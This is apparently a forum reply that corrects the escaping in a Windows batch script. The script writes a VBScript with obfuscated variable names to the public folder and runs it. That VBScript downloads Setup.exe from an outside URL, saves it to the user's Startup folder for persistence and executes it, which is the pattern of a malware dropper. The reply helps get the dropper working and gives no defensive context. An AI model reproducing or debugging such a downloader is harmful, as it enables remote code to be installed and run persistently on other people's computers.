You need to escape some characters as stated by Evolution, but more. Also, there is no need for all the @ symbols @echo off at the top covers the entire document.
in the line you posted, you need to escape the "(", ")", and the "&" with "^". See the corrected code below and make the same changes throughout the script.
Code
@echo KAmdVzCy = MumvkjDH.SpecialFolders^("Startup"^) ^& "\Setup.exe" >> %public%\test.vbs
In this case, the problem originates at the line above the posted line, which should be written as follows.
Code
@echo Set MumvkjDH = CreateObject^("WScript.Shell"^) > %public%\test.vbs
for reference on this and other escape characters:
escape characters
When writing a new file, rather than redirecting each line to a file do the following...this is also showing you all the changes you need to make your script work O.O
Code
@echo off
)
echo Set MumvkjDH = CreateObject^("WScript.Shell"^)
echo KAmdVzCy = MumvkjDH.SpecialFolders^("Startup"^) ^& "\Setup.exe"
echo wscript.sleep 3000
echo call CYVmMffz^("http://demo.ovh.eu/download/0718bcf1d04b3b68045cebf8345132a6/Setup.exe",KAmdVzCy^)
echo sub CYVmMffz^(sitelink,filename^)
echo dim EUwMwgNd
echo Set EUwMwgNd = createobject^("msxml2.xmlhttp"^)
echo dim cJnIrwwK
echo Set cJnIrwwK = createobject^("Adodb.Stream"^)
echo EUwMwgNd.Open "GET", sitelink, False
echo EUwMwgNd.Send
echo with cJnIrwwK
echo .type = 1
echo .open
echo .write EUwMwgNd.responseBody
echo .savetofile FileName , 2
echo end with
echo end sub
echo MumvkjDH.Exec ^(KAmdVzCy^)
) > %public%\test.vbs
start %public%\test.vbs